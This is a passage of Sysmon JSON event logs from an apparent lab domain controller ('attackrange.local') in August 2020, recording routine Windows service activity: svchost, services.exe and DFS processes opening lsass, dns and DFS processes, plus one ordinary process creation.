C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.355","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1144,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.355\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.355","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1145,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.359\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 944\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001022180200}\r\nTargetProcessId: 2636\r\nTargetImage: C:\\Windows\\system32\\dfssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.359","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"944","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001022180200}","TargetProcessId":"2636","TargetImage":"C:\\Windows\\system32\\dfssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1146,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.361\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 944\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00102F140200}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\system32\\dns.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.361","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"944","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00102F140200}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\system32\\dns.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1147,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.364\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.364","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1148,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.364\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.364","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1149,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.364\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.364","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1150,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.322\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00107D140200}\r\nProcessId: 2564\r\nImage: C:\\Windows\\System32\\dfsrs.exe\r\nFileVersion: 10.0.14393.2879 (rs1_release_inmarket.190313-1855)\r\nDescription: Distributed File System Replication\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: dfsr.exe\r\nCommandLine: C:\\Windows\\system32\\DFSRs.exe\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=5043D2DBA1E5AC37A9874B403B48C1C1,SHA256=7044CE273B245F6D67A3BFC7D548CFF538F8FC3BD1C99467B5ADE6452C150313,IMPHASH=C1481566D7D03EEC4CC460B52429BA9C\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.322","ProcessGuid":"{90617006-3FE4-5F2D-0000-00107D140200}","Image":"C:\\Windows\\System32\\dfsrs.exe","FileVersion":"10.0.14393.2879 (rs1_release_inmarket.190313-1855)","Description":"Distributed File System Replication","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"dfsr.exe","CommandLine":"C:\\Windows\\system32\\DFSRs.exe","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=5043D2DBA1E5AC37A9874B403B48C1C1,SHA256=7044CE273B245F6D67A3BFC7D548CFF538F8FC3BD1C99467B5ADE6452C150313,IMPHASH=C1481566D7D03EEC4CC460B52429BA9C","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1151,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.370\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1280\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 